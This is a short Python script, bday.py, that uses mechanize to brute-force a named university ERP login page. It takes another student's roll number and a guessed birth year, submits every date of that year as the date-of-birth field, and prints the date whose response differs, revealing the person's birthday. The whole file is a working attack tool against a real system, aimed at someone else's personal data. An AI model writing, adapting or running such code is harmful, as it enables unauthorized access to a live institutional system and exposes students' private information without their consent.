bday.py

import sys
from mechanize import Browser
from datetime import timedelta, date

def spinning_cursor():
  while True:
    for cursor in '|/-\\':
      yield cursor

def daterange(start_date, end_date):
    for n in range(int ((end_date - start_date).days)):
        yield start_date + timedelta(n)

def get_bday(rollno, start_date, end_date):
  spinner = spinning_cursor()
  flag = 1
  for single_date in daterange(start_date, end_date):
    br = Browser()
    br.open("https://erp.iitkgp.ac.in/StudentPerformanceV2/auth/login.htm")
    br.select_form(name="loginform")
    br.form.set_all_readonly(False)

    br["rollno"] = rollno
    br["dob"] = single_date.strftime("%d-%m-%Y")

    response = br.submit()
    if len(response.readlines())!=330:
      flag = 0
      print single_date.strftime("%d-%m-%Y")
      break

    br.close()

    sys.stdout.write(next(spinner))
    sys.stdout.flush()
    sys.stdout.write('\b')

  if flag:
    print "Try another year."

def main():
  rollno = raw_input("Enter the rollno of your best friend.: ")
  year   = input("Enter the possible birth year.       : ")
  
  start_date = date(year, 1, 1)
  end_date   = date(year, 12, 31)

  sys.tracebacklimit = 0

  get_bday(rollno, start_date, end_date)

if __name__ == '__main__':
  main()